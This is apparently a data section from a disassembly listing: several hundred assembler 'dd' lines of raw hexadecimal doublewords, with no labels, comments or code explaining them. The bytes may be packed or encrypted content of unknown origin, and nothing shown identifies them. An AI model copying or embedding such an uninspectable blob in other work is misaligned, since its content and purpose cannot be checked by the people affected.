		dd 0B807FCBDh, 9C720552h, 0CDCC93h, 0E5C1F46h, 0A22C14FEh
		dd 0B8915D00h, 0F25EBB36h, 97F40178h, 7D0A2963h, 12CD20C8h
		dd 796393Ch, 6288C58Ch,	54800FB4h, 1B383A0h, 1FFD4F6Ch
		dd 70596D2Fh, 0A8EED7E5h, 7DA6F400h, 19AEB066h,	46D60058h
		dd 15CBB353h, 7000762Fh, 624A0AA5h, 4AA2A9Ah, 3F1BF12Bh
		dd 0A1BDC0FEh, 7F00B69Fh, 48AE70B9h, 18D16443h,	58AFBF1Ah
		dd 7205DF6Bh, 0CF067594h, 73449C00h, 0FD5B8BB6h, 14CA1080h
		dd 896EFE19h, 0AB125E06h, 0B80C53h, 79B44763h, 0DDC3F544h
		dd 8B81ACA0h, 9830E27Bh, 631F10D8h, 2D251EB0h, 3E39408Ch
		dd 1C1DA92Ch, 499B1030h, 50FC5h, 98D2BF9Dh, 6141F5ACh
		dd 4446B502h, 90A58F1Ch, 0FAB990h, 0FBB65471h, 0F851579Ch
		dd 8C3A7B07h, 99B03F9Dh, 78691298h, 0FCD00077h,	6A307579h
		dd 0B4F8D65Bh, 0E36C5801h, 5A7CEACh, 0D96DA080h, 9CD2DEF2h
		dd 0C1682206h, 0F89866h, 5FB2B305h, 0BABC811Dh,	1AD46100h
		dd 4D5B43EBh, 0D1D00757h, 2007373Ah, 0B9695264h, 0C9F13Fh
		dd 572FA55Bh, 1D95A6h, 8B7FFE3Eh, 11E534CDh, 0A74EC500h
		dd 5F0680D3h, 0E203240Ch, 88FB8004h, 0EC98545Dh, 913A48h
		dd 121B1A1Fh, 1CFAFDFEh, 40D4D67Fh, 0E8288613h,	0F004979h
		dd 0EDAB1BC8h, 9BA01h, 65E08ECFh, 0DD74BCF3h, 0F5A84C00h
		dd 0B2145052h, 7E99005Ah, 3B3D34DCh, 0B40A40BEh, 0C24D0484h
		dd 0B5643A0Ah, 0F033F506h, 268A0004h, 6FE3868Bh, 8490B275h
		dd 2A65FB0Fh, 99D2314h
		dd 0FE300090h, 0C60EB78Ch, 0EF00F7B0h, 9B638BE4h, 28A7DFA9h
		dd 1F17287h, 327158DDh,	80F8A155h, 0D298D938h, 58BCBC2h
		dd 0E6417A6Ch, 69CC0013h, 97D3F182h, 0DECAFE00h, 1CA2323Dh
		dd 0B1580033h, 8B7E151Dh, 0C305C57Ch, 96D4CE78h, 98C90083h
		dd 37749Ch, 3EF64F52h, 0D75A7CADh, 2483145Ch, 0E9070C9Ah
		dd 0C7A63AB9h, 1A842F11h, 0D8008A7Eh, 0C5EF7778h, 269090B7h
		dd 80B41C40h, 8EC4C241h, 6007EDCEh, 91026EEAh, 74B1EB50h
		dd 2BD900E2h, 881466B0h, 6100BC13h, 7EC5D002h, 3D1ED22h
		dd 3FF06731h, 0BDD878D2h, 4CEAAB72h, 76E9D06h, 0F88565h
		dd 10054593h, 86F4A9ACh, 0A14F0D00h, 694DBB7Dh,	36676EAh
		dd 383D119Bh, 1B880A56h, 0AE0407ACh, 5953E03h, 3CD9C0EAh
		dd 201CC9Ch, 0B78D335Ch, 9043BF2Fh, 137CD0E9h, 96603EC5h
		dd 0B679A203h, 0DCD8829Bh, 87006533h, 0D481F1FCh, 6B20E8h
		dd 498001CAh, 2BED2C4Eh, 4A418A00h, 1A8DE504h, 0B01EF6F8h
		dd 0B0E21D1Ch, 0F96E40CCh, 1CA7CBCAh, 2F3D207Dh, 5D6002E7h
		dd 0A00ACEADh, 8481D0ACh, 0A04B00BDh, 0ABB28A43h, 2F3B6B67h
		dd 5B540793h, 5830BE5Eh, 51CE21h, 95F4B0C7h, 0AD921DACh
		dd 0C102ED00h, 4D4A854Ch, 98D5710Ch, 43A9027Dh,	7377EA8Dh
		dd 3FC5A880h, 8E0F64EBh, 0E0F3F5B2h, 6DADDCE7h,	317BD7h
		dd 9836DE18h, 7D606681h, 470F000h, 7A432065h, 2D73052h
		dd 12277348h, 0E79E1600h, 743AC0BFh, 77A3008Bh,	30E5B69h
		dd 3D00F6F4h, 0BC266744h, 214201h, 6809087Ah, 516007AAh
		dd 0D1006FECh, 3A1DF830h, 131297Dh, 2DEC6369h, 0C4E9B789h
		dd 1F3CBAC8h, 48088037h, 0BC406ECFh, 0EC6A4A0Eh, 9A007B29h
		dd 232F64AEh, 4CDAD8CDh, 0F9005580h, 323AD9EAh,	560FD4F6h
		dd 600E354Ah, 0E1D10477h, 26980086h, 0BD71CEFFh, 0BCB85B2Bh
		dd 200F7A00h, 0FE437CF6h, 0DC4100DAh, 621BA13h,	1C009636h
		dd 0E3771F63h, 7CAE05h,	5C628908h, 0C78C6EE8h, 0A348CA00h
		dd 0C22EAD01h, 52BE00D8h, 679F5051h, 3C00BBBAh,	36CDFDDh
		dd 6A1BA1h, 0D437CA0Ah,	92406F12h, 2013CF2h, 23B6C7C4h
		dd 0E4CC4BABh, 0E9C0048h, 4E8CB4DEh, 0D60E9A7Dh, 605C2F72h
		dd 87A24FADh, 71FC00D7h, 15484D1h, 0D4A3EAA3h, 0D8EEE589h
		dd 40D3BF9Eh, 1B664301h, 6FF45464h, 0AEBE004Bh,	17E6E4Ch
		dd 18004461h, 0D52520DBh, 0E09FCFh, 9C90438Eh, 0B7F8173Eh
		dd 980E20B0h, 98FA329Bh, 0E39D20h, 0FE141E73h, 0B2FD1B8Fh
		dd 0E77F2C00h, 9EFF5E2Ah, 70E050h, 0E036750Fh, 722A8A5h
		dd 144448h, 0E7727F66h,	1B53034h, 81512743h, 0F1971226h
		dd 0F020F0FCh, 0F43E6BFAh, 92C9032Bh, 88739D2Ch, 0B0D5A7h
		dd 936FD9ECh, 41563B6h,	0DD670200h, 0FAA70301h,	946990D5h
		dd 80930B88h, 63D21A80h, 1600B31Eh, 0F5D3FE5Dh,	238BB3Ah
		dd 11B80172h, 0A44092FBh, 0AB004E04h, 0B246E6Ch, 3B0EC47Ah
		dd 0EF80A765h, 209F56F0h, 612CC3CAh, 2CD6E6h, 0EB12F813h
		dd 0F5FDA440h, 0ECAE0Eh, 13F9C4AFh, 0C21F8DF0h,	0C6E85113h
		dd 5A80B502h, 0A410405Eh, 9CA05C2Ch, 0C01CEAC0h, 0EBB08A9Ah
		dd 0A3001878h, 21C8F2F0h, 0C64832h, 86AA8904h, 0FCCCBF75h
		dd 44A76307h, 71D07DE3h, 0FD851C17h, 1E936C24h,	2CB00A54h
		dd 802D1DF3h, 6A0DCE87h, 0D0072A1Ah, 0CF8BC316h, 94573280h
		dd 3196030Ch, 1FB0F377h, 0F0D6D3B0h, 41CF94Ch, 0B4868A51h
		dd 0C8EE6C90h, 0A2E17708h, 0FC6848DCh, 0D8F300FBh, 290238D6h
		dd 9F3883E0h, 0C0D8B1h,	0DECD827Ch, 38863E37h, 7B1BFDh
		dd 2C7D59F1h, 0F25E9DF4h, 0B4A69803h, 0CF080161h, 0E70BB0C0h
		dd 0F85B248Eh, 80EA05A0h, 0D1C0BA55h, 0E067B5h,	0E29DF22Ch
		dd 6B94C484h, 535A7900h, 364DC18Fh, 630300C3h, 6E50FD1Ah
		dd 8E004C91h, 115BE483h, 0C2CC8Bh, 0E59E2098h, 0C6026833h
		dd 0E100F6B0h, 140927ACh, 126072Fh, 0B4B84DDFh,	4077FD10h
		dd 0EB644A8Bh, 6CD14403h, 0C0BC51DDh, 3E45E056h, 83802BB7h
		dd 11535779h, 0F80266F4h, 3984C7BEh, 3774E876h,	0D0FCDBh
		dd 0B70EB84Bh, 96EEA66Eh, 310A8E00h, 0A847AB70h, 72880757h
		dd 0E0B57ABCh, 77D05A83h, 0F65E6100h, 1C194356h, 0CA071FD1h
		dd 0BB090E0h, 1496E73Eh, 30D60120h, 8AE31127h, 0C43C708Dh
		dd 947E4301h, 0DCE2493Eh, 0EED0F870h, 0E9A30093h, 67989985h
		dd 900BE08h, 0B20B7074h, 18ADE34Dh, 30A4A701h, 0C7248350h
		dd 520586B7h, 0B08095B1h, 8964FDh, 0B2017CEBh, 0F2FED996h
		dd 0E2CD6900h, 0E7AE2B5Dh, 0CC78029Ch, 901C03D2h, 0A7B582E0h
		dd 440C5F0Fh, 77405D33h, 7651787Dh, 5474331Fh, 45883570h
		dd 0C0903B82h, 0CD0A180Eh, 0DFDD6EC0h, 368E880h, 8AD25Ah
		dd 0D697149Ch, 925141EDh, 0C3E21909h, 90908087h, 184A7E99h
		dd 6E5DFC15h, 0CD03D010h, 0EEB76441h, 0A1F5882Fh, 11EA0089h
		dd 5AC3C239h, 1602DF27h, 0E724A30h, 25DC50C5h, 0CC10BE26h
		dd 0A4D9078h, 0CE3B04h,	23192B88h, 1478B50h, 31331B73h
		dd 0E8DD5982h, 98042480h, 0D8050A2Fh, 84AE0280h, 0E8F00FCh
		dd 0AFD2ABA6h, 0EE0769C5h, 0D851D5EFh, 6DB31750h, 0AB1B02ADh
		dd 0BBCF90FCh, 30CCE341h, 47EE8DE8h, 1CD9C503h,	975DB4BDh
		dd 0D413D750h, 6C5600FBh, 405584D8h, 142EE36Fh,	5C019CBDh
		dd 0BF914F9Eh, 59E080CAh, 0C343CCh, 0E666B7B5h,	47874B12h
		dd 0A3CE7200h, 0CD56D59Ch, 671007Ch, 999B97B8h,	39057091h
		dd 5B5EB398h, 373AC200h, 27CA1E35h, 0AC01B4A0h,	72BC8132h
		dd 4D8F0090h, 0D0952021h, 56651EA6h, 0A492E4h, 6016C13Ch
		dd 0AA61C2CEh, 0F214310h, 10D19E0h, 8B9BCF46h, 0C9E2592Fh
		dd 10716112h, 0C66B2DC8h, 50926378h, 4D49BF07h,	0C450DFA3h
		dd 0EA6BA58h, 0B175F99Fh, 0F7CA7C80h, 4A07BE11h, 0C63A2C62h
		dd 0D2408319h, 0F280BF3Bh, 7191C1Fh, 0F10555F5h, 77A1719Eh
		dd 10CB20CFh, 8028F300h, 0BB3FA566h, 53090232h,	7092E2C8h
		dd 7400C050h, 4D84B359h, 67196Eh, 0C4AEEAE3h, 9D63CC04h
		dd 0E0048ECh, 4A775256h, 0B07DF712h, 7CD7015Ch,	5F1BBC1Fh
		dd 0C5F9DDC8h, 56DAFCB0h, 0BB1CBF03h, 0C03572FDh, 60CFCEh
		dd 80A92A68h, 5E8F0333h, 3BEA283Dh, 84CB01BBh, 0D55C436Ah
		dd 0FCB7C200h, 9DB58304h, 3741798Dh, 38149592h,	4F2B3D34h
		dd 2CB8020h, 74840727h,	217CA98Dh, 30E6651Bh, 2E021024h
		dd 0EE6B3E78h, 15C377CBh, 34EA80CDh, 0EC987622h, 10066E2h
		dd 9521D9F0h, 0C667F9h,	0AF37BBEFh, 8380E809h, 8CD44200h
		dd 4C704F27h, 0BFB5005Eh, 33C30B86h, 8500C511h,	62050991h
		dd 2600D4Fh, 2967EA66h,	15E09212h, 0B0B06FA3h, 228EA204h
		dd 0D4C0A775h, 0FF3FED4h, 0F3FABB4h, 87E7D2A0h,	72482A32h
		dd 1D733918h, 755E93D5h, 47AA80FBh, 0C5CB5192h,	1EF0F2F5h
		dd 0D55E3h, 0F180604Dh,	0E60047F2h, 0FA25EC13h,	7B131h
		dd 0CBA818A7h, 0BB152CD5h, 0E4FDC498h, 6680B352h, 0A70216C9h
		dd 639400B5h, 0CBC46AB7h, 31F0E400h, 0CA865593h, 48FBE8F3h
		dd 9C1F788Ch, 0B127408Ah, 886BE313h, 60CB5600h,	708F65Ah
		dd 23740016h, 1F1EB458h, 0F20983CCh, 80E5C678h,	571D2A10h
		dd 49AE0043h, 5F9E6EB2h, 0EB001863h, 5056DE8Ch,	0AA5DFh
		dd 0CAEEC84h, 8104FFA2h, 31BC5F00h, 0F9E04F6Eh,	4DDD00F8h
		dd 7A45DB43h, 0A00204Ch
		dd 0B4F0A23Ch, 3E4BA106h, 778798BDh, 619AB832h,	0C8D33574h
		dd 0DC002D9Eh, 0E6E7EB2Eh, 0FA995026h, 750600E9h, 0FCE5DB1Ah
		dd 21E82AC5h, 221F8600h, 0BBB4BA52h, 4A9909B8h,	0D000D8E3h
		dd 871B58D9h, 927C4F02h, 48962B54h, 3CF417F4h, 0D882F6B1h
		dd 464ED72Eh, 0D1A9A4C8h, 638B9700h, 516F70C8h,	959B00DCh
		dd 0B77AA3B6h, 7C008190h, 3B6375D6h, 1F27F1FDh,	0A839C06Ah
		dd 45E16DCh, 0A01CB0h, 40E95DD4h, 0A4A0C014h, 0F20084D2h
		dd 5A104A5h, 13E068h, 33DD5B7h,	9880FF24h, 8C496224h, 0F3C06C1Eh
		dd 0C4199630h, 0AA5033E6h, 10C0CF18h, 0A00C0614h, 0C02772F2h
		dd 0AAF4003Fh, 0FB76098Ah, 0B80074B1h, 402FB2F3h, 72A747D0h
		dd 35BA0E7Dh, 0F9C3819Bh, 89B0EB73h, 3006786h, 17F5ACCEh
		dd 1292D8h, 44DFB29h, 18266094h, 4F0CD701h, 517BC972h
		dd 3D6AD8h, 0DFA5E2A3h,	82FED243h, 0DA494500h, 5B56481Bh
		dd 0F331005Fh, 6CD4A337h, 1002A8Dh, 5AE1B114h, 0AB11D9h
		dd 0D949387h, 34F7488Bh, 7F9EE500h, 171358D5h, 0EA050054h
		dd 9AECBFFCh, 0DCA8F188h, 0C0B658ABh, 698D3C00h, 986A2FE2h
		dd 4D8E0030h, 24E6282Ah, 0F6000385h, 19291838h,	4BF81Fh
		dd 69B0FDFBh, 90BEDFD9h, 0EC83B102h, 81B48EE4h,	0C460A2DCh
		dd 725EA710h, 9A9B4100h, 0E909B040h, 1D1700AAh,	0EFBC91D1h
		dd 587793DBh, 0C5BDFC00h, 0AD15F64Dh, 8BED0BCEh, 1480C0C2h
		dd 86084A58h, 9100BC90h, 37921477h, 11150Ah, 68D7A6AEh
		dd 59A3F4F3h, 0BBA17E0Eh, 0E33B6061h, 1CDFFD45h, 0C07130C2h
		dd 2A2C4A6Fh, 1701B724h, 6DEF0B20h, 0EDC995Bh, 2EF2007Fh
		dd 8EE3F4ADh, 0D100A4F6h, 5CF7F9C1h, 16C087h, 8BB8293Bh
		dd 91490F55h, 0D93C3Ch,	0E889DDF5h, 77DA4Eh, 61991045h
		dd 0FDDE705Eh, 74AD9000h, 0BD27EF5Fh, 257256h, 0E37E6F60h
		dd 0B817DB13h, 80BC2CF8h, 1CF1833Fh, 0D94AF257h, 0CE207B09h
		dd 0CA7E0315h, 0D7CD3D22h, 983B4100h, 38D05295h, 5567008Eh
		dd 0A8FE905Fh, 43FAD9E6h, 2F2D091Dh, 48206C0Ch,	0B61300A3h
		dd 28DEFAE2h, 710059EBh, 450E1AA5h, 4FF5D78Fh, 7ACC0027h
		dd 6CD876ABh, 2824B5Ch,	0B5DAA3F2h, 12A0721Eh, 6EDBC8h
		dd 0B6B6192h, 601C6870h, 65476D0Eh, 81FA9E71h, 5A7CC700h
		dd 7DC1B4h, 0B6FBBD59h,	2615D484h, 9403085Fh, 91F2A1h
		dd 0B4275E79h, 0B04C61E1h, 38074212h, 553E5800h, 0C149128h
		dd 93218C81h, 89301631h, 768E4909h, 84051D33h, 65601E7Eh
		dd 80E34C69h, 0D28B9A50h, 3B0E63h, 314FE8F1h, 7326049h
		dd 0BE92331Eh, 0EA00211Eh, 28090189h, 0BF2000E3h, 4C91E5BDh
		dd 3CA03E93h, 945CB7A2h, 0E3C201F1h, 84CDB78h, 0A01AFCh
		dd 0E89DFB09h, 57B34A60h, 0BC908960h, 5015DF84h, 508C7C23h
		dd 70C283Fh, 4A962854h,	14FE4F5Dh, 0E400142Ch, 0D5640E05h
		dd 58006AF4h, 994093E9h, 3F3DE01h, 443F72E1h, 0EB889B81h
		dd 41004C52h, 0D76DF72Bh, 0E94F43h, 2F441AA9h, 0ACE8D834h
		dd 0D5493800h, 372356A8h, 0F19600B0h, 860ECBE0h, 200E7A93h
		dd 232BD62Ch, 0C330BD83h, 0E07EAB59h, 9187988h,	0CC34E41h
		dd 0E1F88851h, 0A3840201h, 0F678371Dh, 9BC30C81h, 99289EF5h
		dd 1CC2BE0Ah, 32FA3700h, 0CE41498h, 0AC167E2Dh,	21C08908h
		dd 0C132B1CCh, 6A1701FCh, 0E4A33384h, 0F041817Fh, 0CC623824h
		dd 1AED9BFDh, 69C39847h, 78998612h, 1DA8180Eh, 0B64011E5h
		dd 6FA53D00h, 67931E58h, 0FE08CC48h, 8303A221h,	557C193Dh
		dd 73D4D881h, 0E09528F2h, 2A24660h, 149432BEh, 108E3104h
		dd 932B5D0h, 0EF30D4BFh, 0F7E93201h, 0E5419C78h, 0DE2A8FC7h
		dd 949822C9h, 73A89069h, 6E2403E5h, 400203CCh, 65293Fh
		dd 0E8C67CBh, 1DEFC27Ah, 0F80F7F2h, 1CC061EDh, 6DA6AA62h
		dd 257BCC7Dh, 0BB1A50C0h, 1DECC1C8h, 952DD6E1h,	7C881CF8h
		dd 103C980Ch, 1ED7FCE0h, 1EF8165h, 92B93644h, 0C8E04B9Fh
		dd 89A6C06Bh, 940051CAh, 147C6F41h, 4468F17h, 23911658h
		dd 0C00C9B27h, 0CF12339Eh, 6C143F0Bh, 6EAE3A0Eh, 6B778C81h
		dd 81F2F08Fh, 13E00297h, 0BC700072h, 49C0B8C2h,	0C3CF3BFFh
		dd 0F98B08Bh, 6C73240Ch, 81218C0Ch, 75628200h, 1A99AF1Dh
		dd 5D2D007Ch, 1170C95Bh, 3B1F1CF7h, 634961E8h, 6FD820E6h
		dd 5488A07Ah, 11E472h, 84BE5695h, 8CED3196h, 750898EDh
		dd 0ADB221h, 81BC2D56h,	0FC0DD747h, 0A2A30807h,	6A21A958h
		dd 73C0E593h, 0E865E4F0h, 9D3F00AAh, 0FE7FFBFDh, 643AC88Fh
		dd 0BCB3126Fh, 0E2390C01h, 0F0807D7Bh, 81A4CA67h, 0E5260F78h
		dd 440164D1h, 7DE9B095h, 0CF1AB850h, 0E3B43325h, 930FB21h
		dd 0A5BA2152h, 2E370025h, 5A9123F4h, 0DA05D194h, 6C973858h
		dd 0EF3FB000h, 608893C1h, 0BF4AD962h, 3E0F9808h, 0E061FEFDh
		dd 0C8AAE6B7h, 0B4731216h, 0E7610040h, 8D3A0F80h, 3E0999EEh
		dd 1D622DADh, 806B11B4h, 0A94621A6h, 0B98E00B7h, 0A43E54E4h
		dd 0CCA150FBh, 964FD473h, 4BB05764h, 0BA040249h, 0FAC80BDh
		dd 0D1838D2Dh, 90523D63h, 8A60F5F1h, 3B64078Fh,	8482A120h
		dd 32BF30A7h, 0BC14AF11h, 0D1808888h, 65E332B6h, 0B35A00C2h
		dd 421E4726h, 0F40E409Dh, 60B6A59Fh, 6C906057h,	88861569h
		dd 7EA40Bh, 27210D05h, 10506DFAh, 9F7B1D74h, 0BECE7609h
		dd 9F0D0B9h, 1797E19Ah,	60A64004h, 7BF85693h, 7E448C84h
		dd 56AB004Ch, 7185F5AEh, 1724F8E7h, 69092486h, 0E99C900Dh
		dd 44200596h, 11B53DCh,	0B2FF80A8h, 0F02031D0h,	6454E431h
		dd 0B101EB88h, 948A837Fh, 0FAFC792Eh, 0D39800B8h, 8DF5D4BDh
		dd 971A6FE9h, 3688847h,	841F63ECh, 8CDDA088h, 0FB569805h
		dd 60284E84h, 775B053h,	2065F1C0h, 8EFBA166h, 9EE4488Ch
		dd 4A0629CEh, 25BEC86Ah, 0E4FCE861h, 0D8A7886Eh, 44B9EA00h
		dd 80C751EBh, 556C0057h, 6D2EC840h, 950228BEh, 4B123853h
		dd 0A1B04020h, 0C93600A2h, 0E5291D08h, 8F0063B7h, 882DEC14h
		dd 981910F3h, 800AEAF4h, 0BB249F59h, 0C428242Ch, 0A402B146h
		dd 0C9E3B525h, 6C165331h, 8DF72500h, 9AA9280Fh,	0AD630019h
		dd 84E1F28Ah, 0F3509C8Fh, 0E8541FC8h, 50000BDCh, 338A6377h
		dd 0B86DE3BEh, 314A12AFh, 23142F6Ah, 849D017Dh,	82E66DEFh
		dd 936C3E68h, 8ADC8055h, 984978E7h, 9B100B88h, 0C818591Fh
		dd 46840D8Bh, 3DB402AAh, 30486FCFh, 0A0800C3Bh,	773D00A1h
		dd 0ADB95544h, 690BC490h, 20E4FC24h, 609A7154h,	0FA5C093Dh
		dd 88F1DF70h, 8FE9DD85h, 469B020h, 7B5B85Ah, 0AA6B5BF5h
		dd 3F70FAA7h, 18E12800h, 0C01FEBB9h, 3B9E0F00h,	3F073AEDh
		dd 0B0605F9h, 0C08CF8C9h, 1B89BBF8h, 902993Ch, 0F34BD0C4h
		dd 840269Ch, 69060581h,	2EF1F41Ah, 43008EE9h, 20C857FBh
		dd 590476BEh, 0B5955F3Ch, 8C80898h, 0A9E3B925h,	0BD4057C4h
		dd 8E3925A6h, 91967400h, 0E3F4672Eh, 6B860AF8h,	42CC6603h
		dd 0D8083FFCh, 0B428CC21h, 9202A746h, 0BE84F956h, 0B1000047h
		dd 68256AAh, 4FD094E1h,	775C25A0h, 0BCA6CE53h, 87457B09h
		dd 1D04F8DBh, 0C5354E42h, 4007769Bh, 6591C9A0h,	71240F2Eh
		dd 0BBC008ABh, 0EB6FCE3Dh, 21C0F318h, 0A3DBCA7h, 8FD609ACh
		dd 88D8E7E8h, 6021E96Fh, 650EEC5h, 0ABDB00C3h, 471C8BDFh
		dd 554CFC8Eh, 48042208h, 37070851h, 92BF105h, 5E296881h
		dd 432848E8h
		dd 8E621200h, 57A9EBADh, 1530245h, 76B8674Bh, 626A7C61h
		dd 3079F2F8h, 53021330h, 0DBF1E5B1h, 57E0C1CAh,	0C205875h
		dd 0C0988CB2h, 0C1E3B616h, 1B8D038h, 53A525A3h,	60C82EE7h
		dd 8A7A30CCh, 1B21C490h, 0C7988DFh, 0BA60A444h,	6F23C93Dh
		dd 21F118B8h, 3D3FA7A6h, 8DD286BAh, 519EF1Dh, 95800EC2h
		dd 4D9081C8h, 60A07068h, 0F0885488h, 4F900110h,	0A8090DA9h
		dd 9F5480F9h, 0A1DDDEA7h, 765B1251h, 0FEDC60BEh, 1B26876Dh
		dd 0C30C9430h, 0F8575199h, 825D3B1Dh, 4BEB0D80h, 2BAC9BCEh
		dd 1F3C0904h, 0F4C2EA1Ah, 0E97721BDh, 5B821786h, 52CC6016h
		dd 57620644h, 0C9E61169h, 38036E02h, 6013C402h,	24F0EFD4h
		dd 36069DFh, 1A8410E7h,	9EE9180Ah, 1F3BFC23h, 538B62D4h
		dd 1B6002A5h, 19A211DFh, 250456CCh, 164684h, 56AF4800h
		dd 15D9CF14h, 0DE62018Fh, 0C3D88E53h, 23C980BEh, 0B7D31B08h
		dd 757E4B4h, 1098EC99h,	0E0C14C1Fh, 0DE086160h,	0E06B84C4h
		dd 0F38C05A1h, 0D04E6CB4h, 0B6A77EACh, 773B6498h, 58345CB0h
		dd 0CEAB0120h, 3E92BF07h, 26F99470h, 4904146Dh,	0F405400Eh
		dd 8800125h, 7056028Dh,	554C8483h, 33047688h, 983A246Dh
		dd 0F2882C8Eh, 0E896B7C0h, 40AB648Bh, 38D0A4C3h, 334AE70Fh
		dd 757C0A0h, 12D610C6h,	945F5EFh, 486D9914h, 4469A860h
		dd 0E1F00B9h, 0A065BF58h, 935040D6h, 0E4872BE4h, 0FEA4607Eh
		dd 878048E5h, 9A3A1961h, 87F0F895h, 900CFE8h, 64B0F34Bh
		dd 696C4C34h, 0FC447133h, 8B3FF90Fh, 0F407176Bh, 57302629h
		dd 907723h, 861E1867h, 6D7D1517h, 650035F0h, 338970A1h
		dd 3C9F02A7h, 4C4CE421h, 9901DC23h, 0B684FA56h,	4E887418h
		dd 45561C91h, 6DFA45D6h, 6F618079h, 9450D3F7h, 0C0240F3h
		dd 9FB7F32Fh, 797459EDh, 0EC4187Fh, 5F3F2E58h, 0A43E9580h
		dd 28941F3Bh, 0EE8D4380h, 9D19461h, 679BEAD5h, 0E5A144E8h
		dd 2B717F02h, 404319EFh, 707C4400h, 76BC961Fh, 0F9747846h
		dd 3F2F9830h, 4C30FF8Bh, 0CD31A58h, 7DF90491h, 0A18E218h
		dd 1D51CDEFh, 0AADA096Dh, 0F0C6669Ah, 0C4B97F73h, 0D31874D1h
		dd 90FEFD76h, 92F3843Eh, 1003C72Ah, 71D7B9Bh, 0BAD89FB8h
		dd 8A47AF9h, 96800F74h,	4B3B7CC8h, 0DE7304AAh, 8EE73E62h
		dd 0C3F84DCh, 2DE12130h, 4AC7A201h, 0EBACF78Bh,	88F5C864h
		dd 2D00A7CAh, 292CE59Dh, 99149Ah, 0E6089E91h, 715E1610h
		dd 0ED1DDF1Bh, 95A1E031h, 70011CD4h, 0FE8A816Ch, 297C4BC8h
		dd 0F9060E34h, 683121EDh, 0F43CB312h, 10242E96h, 19C00C3Fh
		dd 0A53AA271h, 0C900BA7Eh, 42E9C9Ah, 0D60EB51Eh, 12506E59h
		dd 50880EC7h, 0A95D000Ah, 6A05C26Dh, 380B2AD5h,	0A16CD7A4h
		dd 8C5C8FD0h, 0F85E7C20h, 18046067h, 0E3ECF72Ah, 0A21AA8A0h
		dd 0EEE51105h, 10C20D0Eh, 25AA30B3h, 79E3B711h,	0BF805188h
		dd 0F8AB25D8h, 5231630h, 0A76890FBh, 4E90A88h, 2F1301C0h
		dd 0E8F011Fh, 0D8571663h, 4B86CF9h, 90ABFF6Eh, 9C1F30F4h
		dd 852D42A0h, 4C13C8A2h, 9C01B0AEh, 53EB1DD6h, 57E0C78Ch
		dd 5200951Ah, 0F2098FABh, 1340C833h, 0A0EAC373h, 6C6094A4h
		dd 0F106E031h, 56611E25h, 8DE9041Ah, 5C3CA0E3h,	465C609Eh
		dd 548076Eh, 0E8B871Ah,	976F0964h, 80799190h, 23E75BB4h
		dd 0FB6E0126h, 699AAB7Ch, 97C1810Dh, 32EBFF4Fh,	25E75C70h
		dd 101740D3h, 98837491h, 0EAD0F39Ch, 8B08CE5h, 15A38400h
		dd 10E3522Eh, 84C0AA43h, 0B960AD50h, 6F23C83Dh,	0CC4415B0h
		dd 3DA2A501h, 0F4AD6C07h, 910FAEB7h, 0C568011Ch, 0D0E895D3h
		dd 4CE78210h, 1A123B0h,	149532F9h, 889C18ACh, 3200B0D7h
		dd 813E6411h, 53350469h, 55A2D84Ch, 5C3830h, 0BDC551D7h
		dd 0E56EC30Ch, 9FB12300h, 44DFCDB8h, 4C910BE3h,	88893089h
		dd 7EE46845h, 4A4E1067h, 209B048h, 0F650E7h, 88DEA4B8h
		dd 44D006BAh, 0E166C3FCh, 5DA8CD03h, 8C057C2Bh,	36AE16C0h
		dd 57E7074Ah, 0A58F6Dh,	0D0506B9Ah, 52C5B58h, 98EA737Bh
		dd 9CE268A2h, 6780D733h, 24A95869h, 0C0BC0250h,	6B7F8757h
		dd 4DE5D8A0h, 3BCF902h,	4062CFEAh, 480AFF70h, 4622A815h
		dd 816AE430h, 0E6D75983h, 0EABE0015h, 603966CDh, 1104D926h
		dd 22C3DCEEh, 8077C8D3h, 133E218Ah, 760DF7Ch, 4E56C4Ch
		dd 708A0C4h, 3E69A709h,	884024FFh, 0EA9888h, 6810AD08h
		dd 85A6A203h, 783FEC00h, 4DFB4905h, 0B99D0044h,	1593B5D2h
		dd 69070C18h, 39D78312h, 488B0FE5h, 2AC23BC8h, 0F6AA83EFh
		dd 305DA84Dh, 25847A89h, 0EC8642D5h, 0E913313Fh, 0CD2668Fh
		dd 0F8E04415h, 7C1D389h, 0A66BBE0Dh, 1A13F818h,	0D44330FFh
		dd 2B86694h, 0E8E55129h, 80FC7387h, 1FA63Ah, 18175B80h
		dd 631369B0h, 876D791Bh, 0DC8064BAh, 54A2DFAh, 5A52FF04h
		dd 0B88E39D5h, 43C06A88h, 926C52h, 0D4C1B3B1h, 8CB2741Dh
		dd 912E1300h, 93AA46FEh, 1C5C594Dh, 8CFC27B8h, 7B6C5C03h
		dd 3780BE2h, 806A99E8h,	58E0B1ADh, 5F169004h, 0ACD408FDh
		dd 28FEE081h, 745EA985h, 10F4D753h, 8AB6A5AAh, 570E8190h
		dd 869AA4BCh, 796BEBh, 883B95C7h, 0BE272C84h, 730092EEh
		dd 0E3B53894h, 3DC93197h, 0E5AEBFF8h, 3846745Ch, 2EE17806h
		dd 0CBF428CFh, 7DD83750h, 0E5601250h, 783F802Ch, 0E885AA96h
		dd 773BB004h, 0F3C40113h, 0D4C14DADh, 0B0B988E7h, 7C70F600h
		dd 18F2B046h, 0F1B49F3Eh, 6B072496h, 8669BA41h,	0B97CC909h
		dd 786D1031h, 5177E7ACh, 0D6F60500h, 3DCB8B84h,	18B32074h
		dd 13C8C00h, 440FBCEAh,	64509C7Ch, 569460A1h, 0AE8423BFh
		dd 7B7C43Fh, 8F4D56A4h,	3C95C05Bh, 6E1346F8h, 40416F87h
		dd 7AAFE8E3h, 346D8C40h, 5C6CB65Fh, 3B035546h, 4A762DDEh
		dd 73F64EC8h, 834BF918h, 123DB8EAh, 0A375FE05h,	3089E2C4h
		dd 5D007679h, 913C150h,	0F054FB73h, 1A0D1CD4h, 8F1AE0DFh
		dd 535874BFh, 4F497070h, 690396F8h, 609A932Eh, 8421050Eh
		dd 80E578E7h, 71E14D30h, 54D1C891h, 703EA918h, 2F3B818h
		dd 57FF6D84h, 92C48281h, 918C979Fh, 1DE88088h, 0B66D56h
		dd 0FB820F66h, 5D84ED47h, 0BC70B82Ch, 0E7288A40h, 0D180E18Fh
		dd 9B73F4B3h, 4C00E1D3h, 0B717AAA6h, 4F5CE4A1h,	4046E6Bh
		dd 0C3CEB203h, 8A0018BDh, 7E0BF5DFh, 0A0958DEAh, 0F77F3FCh
		dd 0A5AE0CCFh, 591018Fh, 0E927D900h, 5F25B291h,	9D790060h
		dd 337E8B31h, 23788C03h, 0EFD6EE09h, 68E4912Dh,	0D8C86845h
		dd 467003Eh, 21EDD17Eh,	38931289h, 74559878h, 0F2FF03CCh
